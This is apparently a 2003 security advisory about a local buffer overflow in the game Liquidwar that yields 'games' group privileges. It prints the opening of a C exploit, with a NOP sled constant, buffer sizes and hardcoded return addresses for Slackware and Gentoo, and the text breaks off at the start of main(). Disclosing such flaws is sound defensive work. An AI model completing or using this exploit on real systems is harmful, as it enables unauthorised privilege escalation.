Exploit Code Released for Buffer Overflow in Liquidwar
17 Sep. 2003
Summary
As we reported in our previous article: Buffer Overflow in Liquidwar, a locally exploitable buffer overflow allows attackers to gain 'games' group privileges. The following exploit code can be used to test your system for the mentioned vulnerability.
Credit:
The information has been provided by Angelo Rosiello.
#define NOP 0x90
#define LEN 520 //Buffer for Slackware 9.0.0
//#define LEN 528 //Buffer for Gentoo 1.4
#define RET 0xbffff414 //Valid Address for Slackware 9.0.0
//#define RET 0xbffff360 //Valid Address for Gentoo 1.4
int main()
{
char buffer[LEN];
long retaddr = RET;
int i;
